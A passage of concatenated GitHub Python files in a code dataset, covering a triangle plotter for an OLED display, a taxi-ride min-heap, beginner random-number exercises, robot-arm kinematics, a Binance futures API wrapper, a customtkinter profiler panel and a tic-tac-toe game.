R${barato[0]:.2f}')\r\nprint(f'Temos {ac} produtos que custam mais que R$ 1000,00')\r\n","repo_name":"AllexThiagoSR/Portifolio_python","sub_path":"curso_em_video/ex070.py","file_name":"ex070.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12677339373","text":"\n# This program allows you to input three sets of (x, y) coordinates for the vertices\n# of a triangle, calculates its area, and displays it on a 128x64 OLED screen.\n# After displaying the triangle and its area, the program waits for 10 seconds\n# and then prompts for new coordinates.\n\n\n#type: ignore\n# Import libraries\nimport time\nimport busio\nimport board\nfrom adafruit_display_shapes.triangle import Triangle\nfrom adafruit_display_shapes.line import Line\nfrom adafruit_display_shapes.circle import Circle\nfrom adafruit_displayio_ssd1306 import SSD1306\nfrom adafruit_display_text.label import Label\nimport terminalio\nimport displayio\n\ndisplayio.release_displays()\n\n# Initialize I2C communication\nsda_pin = board.GP14 # Replace with your SDA pin\nscl_pin = board.GP15 # Replace with your SCL pin\ni2c = busio.I2C(scl_pin, sda_pin)\n\n# Initialize the display\ndisplay_bus = displayio.I2CDisplay(i2c, device_address=0x3D)\ndisplay = SSD1306(display_bus, width=128, height=64)\n\norigin_x = 64 # Set the origin (center of the screen)\norigin_y = 32\n\n# Function to draw a line on the OLED screen\ndef draw_line(x1, y1, x2, y2, color=0xFFFF00):\n line = Line(int(x1), int(y1), int(x2), int(y2), color=color)\n return line\n\n# Create a label to display the area\narea_label = Label(terminalio.FONT, x=5, y=5, text=\"\", color=0xFFFF00)\n\n# Define a function to calculate the area of a triangle\ndef calculate_triangle_area(x1, y1, x2, y2, x3, y3):\n return abs(0.5 * ((x1 * (y2 - y3)) + (x2 * (y3 - y1)) + (x3 * (y1 - y2))))\n\n# Function to draw a triangle on the OLED screen relative to the origin\ndef draw_triangle(x1, y1, x2, y2, x3, y3, origin_x, origin_y):\n triangle = Triangle(\n int(origin_x + x1), int(origin_y - y1),\n int(origin_x + x2), int(origin_y - y2),\n int(origin_x + x3), int(origin_y - y3),\n outline=0xFFFF00\n )\n return triangle\n\n# Function to draw a circle (origin) on the OLED screen\ndef draw_circle(x, y, radius):\n circle = Circle(int(x), int(y), radius, outline=0xFFFF00)\n return circle\n\n# Main function to handle user input, calculate area, and draw on the OLED screen\nwhile True:\n area_label = Label(terminalio.FONT, x=5, y=5, text=\"\", color=0xFFFF00)\n try:\n # Initialize display groups for each iteration\n splash = displayio.Group()\n \n x1, y1 = map(float, input(\"Enter the first coordinates (x,y): \").split(\",\"))\n x2, y2 = map(float, input(\"Enter the second coordinates (x,y): \").split(\",\"))\n x3, y3 = map(float, input(\"Enter the third coordinates (x,y): \").split(\",\"))\n\n # Check if the points form a valid triangle (not collinear)\n if (x1 * (y2 - y3) + x2 * (y3 - y1) + x3 * (y1 - y2)) != 0:\n area = calculate_triangle_area(x1, y1, x2, y2, x3, y3)\n area_label.text = f\"Area: {area:.2f} km²\"\n print(f\"Area: {area:.2f} km²\")\n \n # Draw the triangle and the origin\n splash.append(draw_triangle(x1, y1, x2, y2, x3, y3, origin_x, origin_y))\n splash.append(draw_circle(origin_x, origin_y, 2))\n splash.append(area_label)\n # Draw the Axes\n splash.append(draw_line(0, 32, 128, 32))\n splash.append(draw_line(64, 0, 64, 64))\n\n # Create labels for axes\n x_label = Label(terminalio.FONT, text=\"X\", color=0xFFFF00)\n x_label.x = 2\n x_label.y = 38\n splash.append(x_label)\n y_label = Label(terminalio.FONT, text=\"Y\", color=0xFFFF00)\n y_label.x = 66\n y_label.y = 60\n splash.append(y_label)\n\n # Show the display group\n display.show(splash)\n \n # Wait for 5 seconds\n time.sleep(5)\n\n #Clear Screen\n splash.pop\n else:\n print(\"These points are not a valid triangle. Please try again, and make sure you are using the x, y syntax.\")\n except ValueError:\n print(\"Invalid input. Please enter coordinates in (x,y) format separated by commas.\")\n","repo_name":"MasonD552/Engineering_4_Notebook","sub_path":"raspberry-pi/Landing_Area_Pt2_Plotting.py","file_name":"Landing_Area_Pt2_Plotting.py","file_ext":"py","file_size_in_byte":4056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27349347326","text":"class minHeap:\n def __init__(self) -> None:\n self.size = 0\n self.heap = [] # initialize empty heap\n\n def insert(self, rn, rc, td):\n \"\"\"\n Inserts a new trip into the heap.\n\n Args:\n rn: Ride Number\n rc: Ride Cost\n td: Trip Duration\n Returns:\n None if the insertion is successful, else returns error message.\n \"\"\"\n err = \"Duplicate RideNumber\"\n ind = self._get_index(rn)\n if ind != -1: # check if ride number already exists\n return err\n self.heap.append([rn, rc, td]) # append new trip to the heap\n i = len(self.heap) - 1\n self.upHeapify(i) # heapify from bottom up\n return None\n\n def _get_index(self, rn):\n \"\"\"\n Returns the index of a given ride number.\n\n Args:\n rn: Ride Number\n Returns:\n Index of the ride number if found, else returns -1.\n \"\"\"\n for ind, trip in enumerate(self.heap):\n if rn == trip[0]:\n return ind\n return -1\n\n def update_trip(self, rn, newtd):\n \"\"\"\n Updates the trip duration of a given ride number.\n\n Args:\n rn: Ride Number\n newtd: New Trip Duration\n \"\"\"\n ind = self._get_index(rn)\n if newtd <= self.heap[ind][2]:\n # if new duration is less than or equal to the old duration, update duration and heapify\n self.heap[ind][2] = newtd\n self.upHeapify(ind)\n newind = self._get_index(rn)\n self.downHeapify(newind)\n elif self.heap[ind][2] < newtd <= 2 * self.heap[ind][2]:\n # if new duration is between old duration and twice the old duration, update cost and duration, then heapify\n temprn, temprc, _ = self.heap[ind]\n self.heap[ind][1] += 10\n self.heap[ind][2] = newtd\n self.upHeapify(ind)\n newind = self._get_index(rn)\n self.downHeapify(newind)\n elif newtd > 2 * self.heap[ind][2]:\n # if new duration is more than twice the old duration, cancel the ride\n self._cancel_ride(rn)\n\n def _cancel_ride(self, rn):\n \"\"\"\n Cancels the ride with the given ride number.\n\n Args:\n rn: Ride Number\n \"\"\"\n ind = self._get_index(rn)\n if ind != -1:\n if ind == len(self.heap) - 1:\n self.heap.pop()\n else:\n self.heap[ind] = self.heap.pop()\n self.downHeapify(ind)\n # function to heapify the element at position i\n def upHeapify(self, i):\n # check if i is greater than 0 and the parent element's distance and time are greater than the current element's distance and time\n if i > 0 and (self.heap[i][1] < self.heap[(i - 1) // 2][1] or\n (self.heap[i][1] == self.heap[(i - 1) // 2][1]\n and self.heap[i][2] < self.heap[(i - 1) // 2][2])):\n # swap the elements at positions i and (i-1)/2\n self.heap[i], self.heap[(i - 1) // 2] = self.heap[(i - 1) // 2], self.heap[i]\n # recursively call upHeapify on the parent of the current element\n self.upHeapify((i - 1) // 2)\n\n # function to get the next ride with minimum distance and time\n def GetNextRide(self):\n # if the heap is empty, return None\n if not self.heap:\n return None\n # if there is only one element in the heap, pop and return it\n if len(self.heap) == 1:\n ans = self.heap.pop()\n # if there are multiple elements in the heap\n else:\n # set ans to the root of the heap\n ans = self.heap[0]\n # replace the root with the last element in the heap\n self.heap[0] = self.heap.pop()\n # recursively call downHeapify on the root\n self.downHeapify(0)\n # return the minimum element\n return ans\n\n # function to heapify the element at position i\n def downHeapify(self, i):\n # calculate the left and right children of the element at position i\n l = 2 * i + 1\n r = 2 * i + 2\n # set the largest element to i\n largest = i\n # if the left child's distance and time are less than the largest element's distance and time\n if l < len(self.heap) and ((self.heap[l][1] < self.heap[largest][1]) or\n (self.heap[l][1] == self.heap[largest][1]\n and self.heap[l][2] < self.heap[largest][2])):\n # set the largest element to the left child\n largest = l\n # if the right child's distance and time are less than the largest element's distance and time\n if r < len(self.heap) and ((self.heap[r][1] < self.heap[largest][1]) or\n (self.heap[r][1] == self.heap[largest][1]\n and self.heap[r][2] < self.heap[largest][2])):\n # set the largest element to the right child\n largest = r\n # if the largest element is not i\n if largest != i:\n # swap the elements at positions i and largest\n self.heap[i], self.heap[largest] = self.heap[largest], self.heap[i]\n # recursively call downHeapify on the largest element\n self.downHeapify(largest)\n return\n","repo_name":"UjwalaGuttikonda/Gator-Taxi","sub_path":"src/minheap.py","file_name":"minheap.py","file_ext":"py","file_size_in_byte":5287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7055820548","text":"'''\n製作出一副撲克牌,並存入串列poke_all中\n'''\nsuit = {1:\"黑桃\", 2:\"紅心\", 3:\"方塊\", 4:\"梅花\"} \ncard = [\"A\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"J\", \"Q\", \"K\"]\n\npoke_all = []\nfor s in suit:\n for c in card:\n # print(suit[s]+c)\n poke_all.append(suit[s]+c)\nprint(poke_all)\nprint(\"撲克牌總數: \"+ str(len(poke_all)) + \" 張\")\n\n'''\n請載入標準模組庫中的 random 模組取 名rd,\n並完成抽牌函式,從52張的撲 克牌中隨機拿出n張牌(n預設為5)\n'''\n# import random as rd\nfrom random import choice as ch\ndef drawcard(n=5):\n drwa_poke_all = []\n for i in range(1,n+1):\n ans = ch(poke_all)\n drwa_poke_all.append(ans)\n return drwa_poke_all\n\nprint(drawcard())\n\n'''\n產生一筆串列為天氣狀態,\n配合判斷式告訴使用者今天該從事什麼活動\n\n'''\nfrom random import choice\n\nweathers = [\"Good\", \"Bad\", \"Cloudy\", \"Raining\", \"Snowing\", \"Storm\"]\nweather = choice(weathers)\n\nif weather == \"Good\":\n print(\"好天氣,可以出去玩\")\nelif weather == \"Bad\":\n print(\"壞天氣,待在家裡\")\nelif weather == \"Cloudy\":\n print(\"多雲時晴,可以出去走走\")\nelif weather == \"Raining\":\n print(\"下雨天,請帶傘\")\nelif weather == \"Snowing\":\n print(\"下雪了,注意保暖\")\nelse:\n print('颱風天!務必待在家裡')\n\n\n'''\n投擲一公正硬幣,試求出現三次正面的機率?\n'''\nfrom random import choice as ch\ncoin = [\"head\",\"money\"]\nprobibility=[]\nwhile probibility.count(\"head\") < 3:\n probibility.append(ch(coin))\nprint(probibility)\n\n'''\n投擲一公正骰子,試求出現三次數字為6的機率?\n'''\nfrom random import choice as ch\ndice = range(1,7)\nprb = []\nwhile (prb.count(6) < 3):\n prb.append(ch(dice))\nprint(prb)\n\n'''\n試做出一可以計算出圓形面積的函數\n也同時可以計算周長\n'''\nfrom math import pi\ndef circle(r):\n area = r**2*pi\n circumference = 2*r*pi\n return area, circumference\nprint(circle(5))\n","repo_name":"yinruei/python-","sub_path":"python_exercise/poke_all.py","file_name":"poke_all.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21986146307","text":"import cv2 as cv\nimport numpy as np\n\nimg = np.zeros((10, 20), dtype=np.uint8)\nimg[-1, :] = img[-1, :] +100\ncv.imwrite(\"test.png\", img)\ncv.imwrite(\"test.bmp\", img)\ntry:\n cv.imwrite(\"testimg\", img)\nexcept:\n print(\"can not save in file name without right subfix\")\n","repo_name":"ZhH-17/tests","sub_path":"cv_imwrite.py","file_name":"cv_imwrite.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40069488452","text":"import numpy as np\r\n\r\n\r\nclass TwoLinkModel:\r\n def __init__(self, L1, L2):\r\n self.L1 = L1\r\n self.L2 = L2\r\n\r\n def forward(self, theta1, theta2):\r\n x = self.L1 * np.cos(theta1) + self.L2 * np.cos(theta1 + theta2)\r\n y = self.L1 * np.sin(theta1) + self.L2 * np.sin(theta1 + theta2)\r\n return np.array([x, y])\r\n \r\n def backward(self, x, y):\r\n # theta1\r\n # print(\"local_pos: {}\".format([x,y]))\r\n val_acos = ( x**2 + y**2 + self.L1**2 - self.L2**2 ) / ( 2*self.L1 * np.sqrt(x**2 + y**2) )\r\n\r\n assert -1 < val_acos < 1, 'val_acos = {}'.format(val_acos)\r\n\r\n theta1_pos = np.arccos(val_acos) + np.arctan2(y, x)\r\n theta1_neg = -np.arccos(val_acos) + np.arctan2(y, x)\r\n\r\n # theta2_pos\r\n theta2_pos = np.arctan2(y - self.L1*np.sin(theta1_pos), x - self.L1*np.cos(theta1_pos)) - theta1_pos\r\n # theta2_neg\r\n theta2_neg = np.arctan2(y - self.L1*np.sin(theta1_neg), x - self.L1*np.cos(theta1_neg)) - theta1_neg\r\n\r\n return {'positive': np.array([theta1_pos, theta2_pos]), 'negative': np.array([theta1_neg, theta2_neg])}\r\n\r\n '''\r\n def backward2(self, x, y):\r\n cos_theta2 = ( x**2 + y**2 - self.L1**2 - self.L2**2 ) / ( 2 * self.L1 * self.L2 )\r\n\r\n assert -1 < cos_theta2 < 1, 'cos_theta2 = {}'.format(cos_theta2)\r\n \r\n theta2_pos = np.arccos(cos_theta2) \r\n theta2_neg = -np.arccos(cos_theta2)\r\n\r\n theta1_pos = np.arctan2(y,x) - np.arctan2(self.L2*np.sin(theta2_pos), (self.L1 + self.L2*np.cos(theta2_pos)))\r\n theta1_neg = np.arctan2(y,x) - np.arctan2(self.L2*np.sin(theta2_neg), (self.L1 + self.L2*np.cos(theta2_neg)))\r\n \r\n return {'positive': np.array([theta1_pos, theta2_pos]), 'negative': np.array([theta1_neg, theta2_neg])}\r\n '''\r\n\r\n\r\ndef test(theta1, theta2):\r\n L1 = 0.425\r\n L2 = 0.3922\r\n coordinate_shift = 0.0213 + 0.0679\r\n\r\n print('applied degree: {}'.format([theta1, theta2]))\r\n\r\n model = TwoLinkModel(L1, L2)\r\n\r\n theta = [np.pi/2 - theta1, -np.pi/2 + theta2] # adapt to ur5 coordinate system\r\n calc_pos = model.forward(*theta)\r\n # print('calculated position: {}'.format(calc_pos))\r\n\r\n pos = np.concatenate(([0], calc_pos)) # yz plane\r\n pos[2] += coordinate_shift\r\n # print('target position: {}'.format(pos))\r\n\r\n deg = model.backward(*calc_pos)\r\n deg_pos = deg['positive']\r\n deg_pos[0] = np.pi/2 - deg_pos[0]\r\n deg_pos[1] += np.pi/2\r\n print('positive degree: {}'.format(deg_pos))\r\n\r\n deg_neg = deg['negative']\r\n deg_neg[0] = np.pi/2 - deg_neg[0]\r\n deg_neg[1] += np.pi/2\r\n print('negative degree: {}'.format(deg_neg))\r\n\r\n\r\ndef test_backward():\r\n L1 = 0.425\r\n L2 = 0.3922\r\n\r\n model = TwoLinkModel(L1, L2)\r\n\r\n from sphere_space import CircleSpace\r\n space = CircleSpace(L1+L2)\r\n\r\n b = []\r\n for _ in range(1000):\r\n pos = space.sample()\r\n deg = model.backward(*pos)\r\n\r\n deg_pos = deg['positive']\r\n deg_pos[0] = np.pi/2 - deg_pos[0]\r\n deg_pos[1] += np.pi/2\r\n print('positive degree: {}'.format(deg_pos))\r\n\r\n deg_neg = deg['negative']\r\n deg_neg[0] = np.pi/2 - deg_neg[0]\r\n deg_neg[1] += np.pi/2\r\n print('negative degree: {}'.format(deg_neg))\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n test_backward()\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"tatsu1022/tatsu1022","sub_path":"ur5_mujoco/scripts/two_link_model.py","file_name":"two_link_model.py","file_ext":"py","file_size_in_byte":3342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"877484911","text":"import hashlib\nimport time\nimport hmac\nimport requests\nfrom keys import api_key, secret_key\nfrom binance import Client\n\nclient = Client(api_key=api_key, api_secret=secret_key)\n\n\nclass Binance_API():\n api_url = \"https://fapi.binance.com\"\n api_key = None\n secret_key = None\n\n def __init__(self, api_key, secret_key):\n self.api_key = api_key\n self.secret_key = secret_key\n\n def genSignature(self, params):\n param_str = \"&\".join([f\"{k}={v}\" for k,v in params.items()])\n hash = hmac.new(bytes(self.secret_key, \"utf-8\"), param_str.encode(\"utf-8\"), hashlib.sha256)\n return hash.hexdigest()\n\n ######################################################################################################################\n # HTTP Request\n def HTTP_Request(self, endpoint, method, params):\n header = {\n \"X-MBX-APIKEY\": self.api_key\n }\n\n params[\"timestamp\"] = int(time.time() * 1000)\n params[\"signature\"] = self.genSignature(params)\n\n if method == 'GET':\n response = requests.get(url=self.api_url + endpoint, params=params, headers=header)\n print(response.text)\n\n elif method == 'POST':\n response = requests.post(url=self.api_url + endpoint, params=params, headers=header)\n print(response.text)\n\n\n return response.json()\n\n # return quotes[0][4]\n\n # print(params[\"signature\"])\n # print(endpoint)\n # print(method)\n # print(params)\n######################################################################################################################\n def get_candles(self, symbol, interval, limit=500):\n endpoint = \"/fapi/v1/klines\"\n method = \"GET\"\n params = {\n \"symbol\": symbol,\n \"interval\": interval,\n \"limit\": limit\n }\n return self.HTTP_Request(endpoint=endpoint, method=method, params=params)\n\n ########################################################################################################################\n # GET POSITION ---> positionAmt\n def position_(self, symbol, request):\n endpoint = 'https://fapi.binance.com/fapi/v2/positionRisk'\n\n # Define the parameters for the API request\n timestamp = int(time.time() * 1000)\n params = {\n 'symbol': symbol,\n 'timestamp': timestamp,\n 'recvWindow': 5000\n }\n # Generate the API signature\n params_string = '&'.join([f'{k}={v}' for k, v in params.items()])\n signature = hmac.new(secret_key.encode(), params_string.encode(), hashlib.sha256).hexdigest()\n\n # Add the API signature to the request parameters\n params['signature'] = signature\n\n # Define the request headers\n headers = {\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'X-MBX-APIKEY': api_key\n }\n\n # Make the API request\n response = requests.get(endpoint, headers=headers, params=params)\n\n # Parse the response JSON\n data = response.json()\n\n if request == 'positionAmt':\n return data[0]['positionAmt']\n\n if request == 'markPrice':\n return data[0]['markPrice']\n\n print(request, ' = ')\n return data\n\n########################################################################################################################\n # NEW PNL CHECK\n def check_pnl(self):\n try:\n account = client.futures_account()\n except Exception as e:\n print(e.message)\n pass\n\n for b1 in account['assets']:\n if b1['asset'] == \"USDT\":\n pnl = float(b1['crossUnPnl'])\n\n return pnl\n\n########################################################################################################################\n\n def create_market_order(self, symbol, side, qnt):\n endpoint = \"/fapi/v1/order\"\n method = \"POST\"\n params = {\n \"symbol\": symbol,\n \"side\": side,\n \"quantity\": qnt,\n \"type\": \"MARKET\"\n }\n return self.HTTP_Request(endpoint=endpoint, method=method, params=params)\n\n########################################################################################################################\n\n\n def get_coins_amount_by_usdt(self, symbol, amount):\n coin_price = self.position_(symbol=symbol, request='markPrice')\n coins_amount = (float(amount) / float(coin_price))\n return round(coins_amount, 5)\n\n########################################################################################################################\n \"\"\"\n Price Precision check for coin amount rounding later on..\n \"\"\"\n def exchange_info(self, symbol):\n endpoint = \"/fapi/v1/exchangeInfo\"\n response = requests.get(url=self.api_url + endpoint)\n response = (response.json())\n things = response['symbols']\n for k, v in enumerate(things):\n if v['pair'] == symbol:\n return [v['pricePrecision'], v['quantityPrecision']]\n # elif v['pair'] != symbol:\n # print('Unknown Pair..')\n\n########################################################################################################################\n\n \"\"\"\n Lot size check\n \"\"\"\n def lot_size_check(self, symbol, usdt):\n lot = usdt / (self.exchange_info(symbol))[0]\n\n\n","repo_name":"silberpav2/Katalin_Binance_Logic_WebSocket","sub_path":"api/binance_.py","file_name":"binance_.py","file_ext":"py","file_size_in_byte":5558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11297606227","text":"from typing import Any\n\nimport customtkinter as ctk\n\n\nclass ControlPanel(ctk.CTkFrame):\n # See: https://en.wikipedia.org/wiki/Media_control_symbols\n record_sym: str = \"\\u23fa\"\n back_sym: str = \"\\u23ea\"\n forward_sym: str = \"\\u23e9\"\n end_sym: str = \"\\u23ed\"\n recording_color: str = \"#EE4B2B\"\n paused_color: str = \"#FFFFFF\"\n\n def __init__(self, master) -> None:\n super().__init__(master)\n\n self.profiler: Any = master\n\n self.do_record: bool = False\n self.sel_frame: int = 0\n\n self.grid_columnconfigure((0, 3), weight=0)\n self.grid_columnconfigure(4, weight=1)\n self.grid_columnconfigure(5, weight=0)\n\n self.record_btn: ctk.CTkButton = ctk.CTkButton(self, text=ControlPanel.record_sym, width=20,\n text_color=ControlPanel.paused_color,\n fg_color=\"transparent\",\n hover=False,\n command=self.on_record_btn_clicked)\n self.record_btn.grid(row=0, column=0)\n\n self.prev_frame_btn: ctk.CTkButton = ctk.CTkButton(self, text=ControlPanel.back_sym, width=20,\n fg_color=\"transparent\",\n hover=False,\n command=self.on_prev_frame_btn_clicked)\n self.prev_frame_btn.grid(row=0, column=1)\n\n self.next_frame_btn: ctk.CTkButton = ctk.CTkButton(self, text=ControlPanel.forward_sym, width=20,\n fg_color=\"transparent\",\n hover=False,\n command=self.on_next_frame_btn_clicked)\n self.next_frame_btn.grid(row=0, column=2)\n\n self.cur_frame_btn: ctk.CTkButton = ctk.CTkButton(self, text=ControlPanel.end_sym, width=20,\n fg_color=\"transparent\",\n hover=False,\n command=self.on_cur_frame_btn_clicked)\n self.cur_frame_btn.grid(row=0, column=3)\n\n self.frame_details_label: ctk.CTkLabel = ctk.CTkLabel(self, text=\"Frame: -/-\", width=150)\n self.frame_details_label.grid(row=0, padx=5, column=4)\n\n self.clear_frames_btn: ctk.CTkButton = ctk.CTkButton(self, text=\"clear\", width=20,\n fg_color=\"transparent\",\n hover=False,\n command=self.on_clear_frames_btn_clicked)\n self.clear_frames_btn.grid(row=0, column=5)\n\n self.prev_frame_btn_enabled: bool = True\n self.next_frame_btn_enabled: bool = True\n self.cur_frame_btn_enabled: bool = True\n self.clear_frames_btn_enabled: bool = True\n\n # Start with buttons disabled.\n self.disable_prev_frame_btn()\n self.disable_next_frame_btn()\n self.disable_cur_frame_btn()\n self.disable_clear_frames_btn()\n\n def on_record_btn_clicked(self) -> None:\n self.do_record = not self.do_record\n if self.do_record:\n self.record_btn.configure(text_color=ControlPanel.recording_color)\n self.profiler.record()\n else:\n self.record_btn.configure(text_color=ControlPanel.paused_color)\n self.profiler.pause()\n\n def on_prev_frame_btn_clicked(self) -> None:\n sel_frame, cur_frame = self.profiler.prev_frame()\n if sel_frame > 0 and cur_frame > 0:\n self.set_frame_details(sel_frame, cur_frame)\n self.update_playback_btn_states(self.sel_frame, cur_frame)\n\n def on_next_frame_btn_clicked(self) -> None:\n sel_frame, cur_frame = self.profiler.next_frame()\n if sel_frame > 0 and cur_frame > 0:\n self.set_frame_details(sel_frame, cur_frame)\n self.update_playback_btn_states(self.sel_frame, cur_frame)\n\n def on_cur_frame_btn_clicked(self) -> None:\n sel_frame, cur_frame = self.profiler.cur_frame()\n if sel_frame > 0 and cur_frame > 0:\n self.set_frame_details(sel_frame, cur_frame)\n self.update_playback_btn_states(sel_frame, cur_frame)\n\n def on_frame_selected_from_chart(self, frame_num: int) -> None:\n sel_frame, cur_frame = self.profiler.goto_frame(frame_num)\n self.set_frame_details(sel_frame, cur_frame)\n\n # Pause frame chart animation.\n self.do_record = False\n self.record_btn.configure(text_color=ControlPanel.paused_color)\n self.profiler.pause()\n\n def on_clear_frames_btn_clicked(self) -> None:\n self.profiler.clear_frames()\n self.set_frame_details(0, 0)\n self.update_playback_btn_states(0, 0)\n\n def on_cur_frame_num_changed(self, cur_frame: int) -> None:\n if cur_frame == self.sel_frame:\n return\n\n self.set_frame_details(self.sel_frame, cur_frame)\n self.update_playback_btn_states(self.sel_frame, cur_frame)\n\n def set_frame_details(self, sel_frame: int, cur_frame: int) -> None:\n self.sel_frame = sel_frame\n\n if sel_frame == 0:\n if cur_frame == 0:\n self.frame_details_label.configure(text=f\"Frame: -/-\")\n else:\n self.frame_details_label.configure(text=f\"Frame: -/{cur_frame}\")\n else:\n self.frame_details_label.configure(text=f\"Frame: {self.sel_frame}/{cur_frame}\")\n\n def update_playback_btn_states(self, sel_frame: int, cur_frame: int) -> None:\n if sel_frame == 1:\n self.disable_prev_frame_btn()\n else:\n self.enable_prev_frame_btn()\n\n if sel_frame == cur_frame:\n self.disable_next_frame_btn()\n self.disable_cur_frame_btn()\n else:\n self.enable_next_frame_btn()\n self.enable_cur_frame_btn()\n\n if cur_frame == 0:\n self.disable_prev_frame_btn()\n self.disable_next_frame_btn()\n self.disable_cur_frame_btn()\n self.disable_clear_frames_btn()\n else:\n self.enable_clear_frames_btn()\n\n def disable_prev_frame_btn(self) -> None:\n if self.prev_frame_btn_enabled:\n self.prev_frame_btn.configure(state=\"disabled\")\n self.prev_frame_btn_enabled = False\n\n def enable_prev_frame_btn(self) -> None:\n if not self.prev_frame_btn_enabled:\n self.prev_frame_btn.configure(state=\"normal\")\n self.prev_frame_btn_enabled = True\n\n def disable_next_frame_btn(self) -> None:\n if self.next_frame_btn_enabled:\n self.next_frame_btn.configure(state=\"disabled\")\n self.next_frame_btn_enabled = False\n\n def enable_next_frame_btn(self) -> None:\n if not self.next_frame_btn_enabled:\n self.next_frame_btn.configure(state=\"normal\")\n self.next_frame_btn_enabled = True\n\n def disable_cur_frame_btn(self) -> None:\n if self.cur_frame_btn_enabled:\n self.cur_frame_btn.configure(state=\"disabled\")\n self.cur_frame_btn_enabled = False\n\n def enable_cur_frame_btn(self) -> None:\n if not self.cur_frame_btn_enabled:\n self.cur_frame_btn.configure(state=\"normal\")\n self.cur_frame_btn_enabled = True\n\n def disable_clear_frames_btn(self) -> None:\n if self.clear_frames_btn_enabled:\n self.clear_frames_btn.configure(state=\"disabled\")\n self.clear_frames_btn_enabled = False\n\n def enable_clear_frames_btn(self) -> None:\n if not self.clear_frames_btn_enabled:\n self.clear_frames_btn.configure(state=\"normal\")\n self.clear_frames_btn_enabled = True\n","repo_name":"bSenpai/UdonProfiler","sub_path":"UdonProfilerApp/Src/ControlPanel.py","file_name":"ControlPanel.py","file_ext":"py","file_size_in_byte":7987,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"35026117746","text":"import os\nimport argparse\nimport lxml.etree as ET\nimport re\nimport sys\nimport socket\nimport svg_histogram\nimport time\nimport curses\n\ntry :\n from gi.repository import Gasket\nexcept :\n sys.exit(\"Gasket not found in GIR\")\n\n\ndef run(stdscr, train, histogram_car_id, histogram_refresh=3):\n stdscr.nodelay(1)\n stdscr.addstr(20, 5, \"Curses and Gasket\")\n curses.curs_set(0)\n stdscr.refresh()\n\n exit = False\n counter = 0\n\n while not exit:\n if counter % histogram_refresh == 0:\n histogram_tree = svg_histogram.init_histogram()\n histogram_svg = ET.tostring(histogram_tree, pretty_print=True)\n train.update_carriage(histogram_car_id, histogram_svg)\n\n time.sleep(1)\n\n exit = (stdscr.getch() == ord('\\n'))\n counter += 1\n\n train.shutdown()\n\n\ndef main():\n train = Gasket.Train()\n\n if train is None or train.station_connect() < 0 :\n sys.exit(\"Gasket could not connect to station (server)\")\n\n histogram_car_id = train.add_carriage(\"Histogram\")\n\n if histogram_car_id is None:\n sys.exit(\"Could not create carriage (SVG carrying unit)\")\n\n curses.wrapper(lambda s: run(s, train, histogram_car_id))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"flaxandteal/gasket","sub_path":"demo/python/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9972921041","text":"from player import HumanPlayer, RandomComputerPlayer, GeniusComputerPlayer\nimport time\nimport math\n\nclass TicTacToe:\n def __init__(self):\n self.board = [\" \" for _ in range(9)] #a single list to rep 3x3 board\n self.current_winner = None\n\n def print_board(self):\n # This is just getting the row\n for row in [self.board[i*3 : (i+1)*3] for i in range(3)]:\n # for i in range(3):\n # row = self.board[i*3 : (i+1)*3]\n print(\"| \" + \" | \".join(row) + \" |\")\n\n @staticmethod\n # Static methods are methods that belong to the class itself and not to any specific instance (object) of the class.\n # They do not have access to the instance-specific data and are independent of the state of the class or its instances.\n def print_board_num():\n number_board = [[str(i) for i in range(j*3,(j+1)*3)] for j in range(3)]\n for row in number_board:\n print(\"| \" + \" | \".join(row) + \" |\")\n\n def available_moves(self):\n return [i for (i, spot) in enumerate(self.board) if spot == \" \"]\n # moves = []\n # for (i, spot) in enumerate(self.board):\n # ['x',' ','o'] --> [(0,'x'),(1,' '),(2,'o')]\n # if spot == ' ':\n # moves.append(i)\n # return moves\n\n def empty_squares(self):\n return \" \" in self.board\n\n def num_empty_square(self):\n #return len(self.available_moves())\n return self.board.count(\" \")\n\n def make_move(self, square, letter):\n if self.board[square] == \" \":\n self.board[square] = letter\n if self.winner(square,letter):\n self.current_winner = letter\n return True\n return False\n\n def winner(self, square, letter):\n # check the row\n row_ind = square // 3\n row = self.board[row_ind*3 : (row_ind+1)*3]\n if all([spot == letter for spot in row]):\n return True\n\n #check the column\n col_ind = square % 3\n col = [self.board[col_ind+i*3] for i in range(3)]\n if all([spot == letter for spot in col]):\n return True\n\n #check diagonals:\n #but only if the square is an even number [0,2,4,6,8]\n if square%2 == 0:\n diagonal1 = [self.board[i] for i in [0,4,8]]\n if all([spot == letter for spot in diagonal1]):\n return True\n diagonal2 = [self.board[i] for i in [2,4,6]]\n if all([spot == letter for spot in diagonal2]):\n return True\n\n return False\n\ndef play(game, x_player, o_player, print_game = True):\n if print_game:\n game.print_board_num()\n\n letter = 'X' #starting letter\n # iterate while the game still has empty squares\n # (we dont have to worry about winner bc we will just return that which breaks the loop)\n\n while game.empty_squares():\n if letter == 'O':\n square = o_player.get_move(game)\n else:\n square = x_player.get_move(game)\n\n if game.make_move(square, letter):\n if print_game:\n print(letter + f' makes a move to square {square}')\n game.print_board()\n print(\"\") #print an empty line\n\n if game.current_winner:\n if print_game:\n print(letter + ' wins!')\n return letter\n\n letter = 'O' if letter == 'X' else 'X'\n\n #tiny break\n if print_game:\n time.sleep(1)\n\n if print_game:\n print('It\\'s a tie!')\n\nif __name__ == 